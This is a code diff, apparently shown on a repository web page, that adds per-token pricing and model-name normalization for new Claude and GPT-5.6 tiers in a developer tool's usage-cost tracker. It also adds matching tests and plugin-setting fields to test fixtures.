'claude-opus-4-7': { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
|
||||
'claude-opus-4-6': { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
|
||||
@@ -156,6 +161,12 @@ function normalizeModelForPricing(model: string | null): string | null {
|
||||
if (alias) {
|
||||
return alias
|
||||
}
|
||||
if (hasClaudeModelVersion(lower, 'fable', '5')) {
|
||||
return 'claude-fable-5'
|
||||
}
|
||||
if (hasClaudeModelVersion(lower, 'opus', '5')) {
|
||||
return 'claude-opus-5'
|
||||
}
|
||||
if (hasClaudeModelVersion(lower, 'opus', '4-8')) {
|
||||
return 'claude-opus-4-8'
|
||||
}
|
||||
@@ -179,6 +190,9 @@ function normalizeModelForPricing(model: string | null): string | null {
|
||||
// avoid overbilling unknown future Claude Code model IDs as legacy Opus 4.
|
||||
return 'claude-opus-4-8'
|
||||
}
|
||||
if (hasClaudeModelVersion(lower, 'sonnet', '5')) {
|
||||
return 'claude-sonnet-5'
|
||||
}
|
||||
if (hasClaudeModelVersion(lower, 'sonnet', '4-6')) {
|
||||
return 'claude-sonnet-4-6'
|
||||
}
|
||||
|
||||
@@ -140,6 +140,10 @@ function createSettings(overrides: TestSettingsOverrides = {}): GlobalSettings {
|
||||
terminalScopeHistoryByWorktree: true,
|
||||
defaultTuiAgent: null,
|
||||
disabledTuiAgents: [],
|
||||
pluginSystemEnabled: false,
|
||||
disabledPlugins: [],
|
||||
pluginConsents: {},
|
||||
devPluginPaths: [],
|
||||
skipDeleteWorktreeConfirm: false,
|
||||
skipCloseTerminalWithRunningProcessConfirm: false,
|
||||
skipDeleteAutomationConfirm: false,
|
||||
|
||||
@@ -148,6 +148,10 @@ function createSettings(overrides: TestSettingsOverrides = {}): GlobalSettings {
|
||||
terminalScopeHistoryByWorktree: true,
|
||||
defaultTuiAgent: null,
|
||||
disabledTuiAgents: [],
|
||||
pluginSystemEnabled: false,
|
||||
disabledPlugins: [],
|
||||
pluginConsents: {},
|
||||
devPluginPaths: [],
|
||||
skipDeleteWorktreeConfirm: false,
|
||||
skipCloseTerminalWithRunningProcessConfirm: false,
|
||||
skipDeleteAutomationConfirm: false,
|
||||
|
||||
@@ -364,6 +364,92 @@ describe('CodexUsageStore', () => {
|
||||
expect(breakdown.find((row) => row.key === 'gpt-5.5')?.estimatedCostUsd).toBeCloseTo(50.424)
|
||||
})
|
||||
|
||||
it('prices GPT-5.6 sol, terra, and luna with current OpenAI rates', async () => {
|
||||
const store = createStoreWithState({
|
||||
dailyAggregates: ['gpt-5.6-sol', 'gpt-5.6-terra', 'gpt-5.6-luna'].map((model) => ({
|
||||
day: '2026-04-09',
|
||||
model,
|
||||
projectKey: 'worktree:repo-1::/workspace/repo',
|
||||
projectLabel: 'Repo',
|
||||
repoId: 'repo-1',
|
||||
worktreeId: 'repo-1::/workspace/repo',
|
||||
eventCount: 1,
|
||||
inputTokens: 2_000_000,
|
||||
cachedInputTokens: 1_000_000,
|
||||
outputTokens: 1_000_000,
|
||||
reasoningOutputTokens: 100_000,
|
||||
totalTokens: 3_000_000,
|
||||
hasInferredPricing: false
|
||||
}))
|
||||
})
|
||||
|
||||
const summary = await store.getSummary('orca', '30d')
|
||||
const breakdown = await store.getBreakdown('orca', '30d', 'model')
|
||||
|
||||
expect(summary.estimatedCostUsd).toBeCloseTo(85.7208)
|
||||
expect(breakdown.find((row) => row.key === 'gpt-5.6-sol')?.estimatedCostUsd).toBeCloseTo(50.424)
|
||||
expect(breakdown.find((row) => row.key === 'gpt-5.6-terra')?.estimatedCostUsd).toBeCloseTo(
|
||||
25.212
|
||||
)
|
||||
expect(breakdown.find((row) => row.key === 'gpt-5.6-luna')?.estimatedCostUsd).toBeCloseTo(
|
||||
10.0848
|
||||
)
|
||||
})
|
||||
|
||||
it('normalizes GPT-5.6 reasoning suffixes before pricing', async () => {
|
||||
const store = createStoreWithState({
|
||||
dailyAggregates: ['gpt-5.6-terra-high', 'gpt-5.6-luna(medium)'].map((model) => ({
|
||||
day: '2026-04-09',
|
||||
model,
|
||||
projectKey: 'worktree:repo-1::/workspace/repo',
|
||||
projectLabel: 'Repo',
|
||||
repoId: 'repo-1',
|
||||
worktreeId: 'repo-1::/workspace/repo',
|
||||
eventCount: 1,
|
||||
inputTokens: 100_000,
|
||||
cachedInputTokens: 50_000,
|
||||
outputTokens: 25_000,
|
||||
reasoningOutputTokens: 5_000,
|
||||
totalTokens: 125_000,
|
||||
hasInferredPricing: false
|
||||
}))
|
||||
})
|
||||
|
||||
const breakdown = await store.getBreakdown('orca', '30d', 'model')
|
||||
|
||||
expect(breakdown.find((row) => row.key === 'gpt-5.6-terra-high')?.estimatedCostUsd).toBeCloseTo(
|
||||
0.5125
|
||||
)
|
||||
expect(
|
||||
breakdown.find((row) => row.key === 'gpt-5.6-luna(medium)')?.estimatedCostUsd
|
||||
).toBeCloseTo(0.205)
|
||||
})
|
||||
|
||||
it('prices the bare gpt-5.6 alias at Sol rates without shadowing the tier IDs', async () => {
|
||||
const store = createStoreWithState({
|
||||
dailyAggregates: ['gpt-5.6', 'gpt-5.6-luna'].map((model) => ({
|
||||
day: '2026-04-09',
|
||||
model,
|
||||
projectKey: 'worktree:repo-1::/workspace/repo',
|
||||
projectLabel: 'Repo',
|
||||
repoId: 'repo-1',
|
||||
worktreeId: 'repo-1::/workspace/repo',
|
||||
eventCount: 1,
|
||||
inputTokens: 100_000,
|
||||
cachedInputTokens: 50_000,
|
||||
outputTokens: 25_000,
|
||||
reasoningOutputTokens: 5_000,
|
||||
totalTokens: 125_000,
|
||||
hasInferredPricing: false
|
||||
}))
|
||||
})
|
||||
|
||||
const breakdown = await store.getBreakdown('orca', '30d', 'model')
|
||||
|
||||
expect(breakdown.find((row) => row.key === 'gpt-5.6')?.estimatedCostUsd).toBeCloseTo(1.025)
|
||||
expect(breakdown.find((row) => row.key === 'gpt-5.6-luna')?.estimatedCostUsd).toBeCloseTo(0.205)
|
||||
})
|
||||
|
||||
it('normalizes Codex model variants and reasoning suffixes before pricing', async () => {
|
||||
const store = createStoreWithState({
|
||||
dailyAggregates: [
|
||||
|
||||
@@ -90,6 +90,30 @@ const MODEL_PRICING: Record<string, CodexModelPricing> = {
|
||||
inputTiers: [{ threshold: LONG_CONTEXT_THRESHOLD_TOKENS, price: 10 }],
|
||||
cachedInputTiers: [{ threshold: LONG_CONTEXT_THRESHOLD_TOKENS, price: 1 }],
|
||||
outputTiers: [{ threshold: LONG_CONTEXT_THRESHOLD_TOKENS, price: 45 }]
|
||||
},
|
||||
'gpt-5.6-sol': {
|
||||
input: 5,
|
||||
cachedInput: 0.5,
|
||||
output: 30,
|
||||
inputTiers: [{ threshold: LONG_CONTEXT_THRESHOLD_TOKENS, price: 10 }],
|
||||
cachedInputTiers: [{ threshold: LONG_CONTEXT_THRESHOLD_TOKENS, price: 1 }],
|
||||
outputTiers: [{ threshold: LONG_CONTEXT_THRESHOLD_TOKENS, price: 45 }]
|
||||
},
|
||||
'gpt-5.6-terra': {
|
||||
input: 2.5,
|
||||
cachedInput: 0.25,
|
||||
output: 15,
|
||||
inputTiers: [{ threshold: LONG_CONTEXT_THRESHOLD_TOKENS, price: 5 }],
|
||||
cachedInputTiers: [{ threshold: LONG_CONTEXT_THRESHOLD_TOKENS, price: 0.5 }],
|
||||
outputTiers: [{ threshold: LONG_CONTEXT_THRESHOLD_TOKENS, price: 22.5 }]
|
||||
},
|
||||
'gpt-5.6-luna': {
|
||||
input: 1,
|
||||
cachedInput: 0.1,
|
||||
output: 6,
|
||||
inputTiers: [{ threshold: LONG_CONTEXT_THRESHOLD_TOKENS, price: 2 }],
|
||||
cachedInputTiers: [{ threshold: LONG_CONTEXT_THRESHOLD_TOKENS, price: 0.2 }],
|
||||
outputTiers: [{ threshold: LONG_CONTEXT_THRESHOLD_TOKENS, price: 9 }]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -228,6 +252,21 @@ function normalizeModelForPricing(model: string | null): string | null {
|
||||
if (normalized === 'gpt-5.5' || normalized.startsWith('gpt-5.5-')) {
|
||||
return 'gpt-5.5'
|
||||
}
|
||||
if (normalized === 'gpt-5.6-sol' || normalized.startsWith('gpt-5.6-sol-')) {
|
||||
return 'gpt-5.6-sol'
|
||||
}
|
||||
if (normalized === 'gpt-5.6-terra' || normalized.startsWith('gpt-5.6-terra-')) {
|
||||
return 'gpt-5.6-terra'
|
||||
}
|
||||
if (normalized === 'gpt-5.6-luna' || normalized.startsWith('gpt-5.6-luna-')) {
|
||||
return 'gpt-5.6-luna'
|
||||
}
|
||||
// Why: OpenAI routes the bare `gpt-5.6` alias to Sol. Match it exactly — a
|
||||
// `gpt-5.6-` prefix match would swallow the tier IDs above and any future
|
||||
// cheaper variant.
|
||||
if (normalized === 'gpt-5.6') {
|
||||
return 'gpt-5.6-sol'
|
||||
}
|
||||
return null
|
||||
}
|
||||
|
||||
|
||||
@@ -5,6 +5,7 @@ import { tmpdir } from 'node:os'
|
||||
import { dirname, join, win32 as pathWin32 } from 'node:path'
|
||||
|
||||
import { MANAGED_HOOK_TIMEOUT_SECONDS } from '../agent-hooks/installer-utils'
|
||||
import { POSIX_HOOK_STDIN_DRAIN_COMMAND } from '../agent-hooks/hook-stdin-contract'
|
||||
import {
|
||||
computeTrustKey,
|
||||
computeTrustedHash,
|
||||
@@ -77,7 +78,7 @@ function getManagedTrustEntry(
|
||||
}
|
||||
|
||||
function expectedManagedCommand(scriptPath: string): string {
|
||||
return `if [ -f '${scriptPath}' ] && [ -r '${scriptPath}' ]; then /bin/sh '${scriptPath}'; else cat >/dev/null 2>&1 || :; fi`
|
||||
return `if [ -f '${scriptPath}' ] && [ -r '${scriptPath}' ]; then /bin/sh '${scriptPath}'; else ${POSIX_HOOK_STDIN_DRAIN_COMMAND}; fi`
|
||||
}
|
||||
|
||||
describe('Codex WSL runtime hook install', () => {
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user